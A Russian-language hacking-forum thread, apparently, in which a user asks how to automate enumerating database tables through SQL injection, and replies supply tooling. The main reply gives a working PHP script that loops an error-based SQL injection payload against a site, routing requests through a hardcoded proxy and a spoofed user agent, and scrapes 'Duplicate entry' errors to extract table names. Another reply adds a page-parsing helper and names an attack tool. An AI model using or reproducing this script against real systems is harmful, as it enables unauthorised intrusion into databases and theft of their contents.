Собственно ситуация, имеется запрос вида Инфа выдается нормально. Но в базе уйма таблиц, и сидеть менять это число не очень прикалывает. Есть ли какой-нидь скрипт/софт, который бы просто прокрутил limit и выдал результат? Спасибо.
PHP: <? $i=0; while($i <= 1000) { $site = "http://site.ru?id=1+or+1+group+by+concat((select+concat_ws(SELECT+TABLE_N AME+FROM+INFORMATION_SCHEMA.TABLES+LIMIT+$i,1),0x00,floor(rand(0)*2))having+min(0)+or+1--+"; $cur=curl_init(); curl_setopt($cur, CURLOPT_URL, "$site"); curl_setopt($cur,CURLOPT_USERAGENT,"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.8.131 Version/11.10"); curl_setopt($cur,CURLOPT_RETURNTRANSFER,1); curl_setopt($cur, CURLOPT_PROXY, "91.223.64.146:8080"); $a = curl_exec($cur); curl_close($cur); preg_match("/Duplicate entry '(.*?)'/s",$a, $ok); echo $ok[1]."<br>"; $i++; } ?>
да незачем, методом тыка в 2-3 запроса посмотри сколько всего там значений выводится значений и можно парсить
Toolza от Пашкеллы тебе в помощь! Да, и лучше используй такую функцию, чтобы парсить страничку: PHP: function ex($string, $from, $to) { $string = explode($from, $string, 2); $string = explode($to, $string[1], 2); return $string[0]; } // В $input - полученная курлом страница. $answ = ex($input, '<td align="center">', '</td>'); // Выведет то что между ними